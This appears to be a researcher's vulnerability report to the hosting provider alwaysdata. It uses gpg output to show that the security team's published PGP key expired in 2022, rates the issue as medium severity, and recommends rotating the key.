gpg –import 0xDFDD2138A363986B.pub.asc
gpg: key 53EC46DAA71D9A1A: public key "alwaysdata security (Security team at alwaysdata https://www.alwaysdata.com) security@alwaysdata.com" imported
gpg: Total number processed: 1
gpg: imported: 1

gpg –list-keys –with-fingerprint –with-subkey-fingerprint –verbose
pub rsa4096 2018-09-26 [SC] [expired: 2022-12-11]

    9EE5 6D51 F03F 7756 837D  C0D2 53EC 46DA A71D 9A1A

uid [ expired] alwaysdata security (Security team at alwaysdata https://www.alwaysdata.com) security@alwaysdata.com sub rsa4096 2018-09-26 [E] [expired: 2022-12-11]

    BD34 402C EB6B 2D54 8C4D  1FEE DFDD 2138 A363 986B

Today is 2025-04-04.

Screenshot: can attach, but can not see here image upload feature.

As shown, this may result in using an expired (invalid) key due to the query output above.

Severity
Medium (6.1)
Weakness
Use of a Key Past its Expiration Date

Impact
Security researchers are unable to encrypt reports / messages using the provided GPG/PGP key.
Sensitive vulnerability information may be exposed to interception if sent unencrypted.
This weakens the responsible disclosure process and may delay security issue resolution.
This can leads to security concerns from the researchers and visitors (kind of reputation damage - as we can see 'Expired' on the security section - given GPG/PGP key - email address for messages with confidential content). The lack of a valid GPG/PGP key introduces unnecessary risk, especially when a critical vulnerability is involved.

Using this expired key could result in insecure communications or failed message verification processes. Reporters may use different emails providers.
Outdated keys may be rejected by automated systems, leading to communication disruptions.

Recommendation:
Generate a new OpenPGP key and replace the expired key.
Ensure periodic key rotation to prevent future expiration issues.

Mitigation
To mitigate this issue, organization should regularly update their encryption keys.
An organization should ensure that updates to their keys are propagated to all major servers.

Supporting Material/References:
CWE-320: Key Management Errors https://cwe.mitre.org/data/definitions/320.html OWASP Top Ten 2013 Category A5 - Security Misconfiguration https://cwe.mitre.org/data/definitions/933.html https://cwe.mitre.org/data/definitions/815.html https://cwe.mitre.org/data/definitions/310.html

I look forward to your response.
Best regards,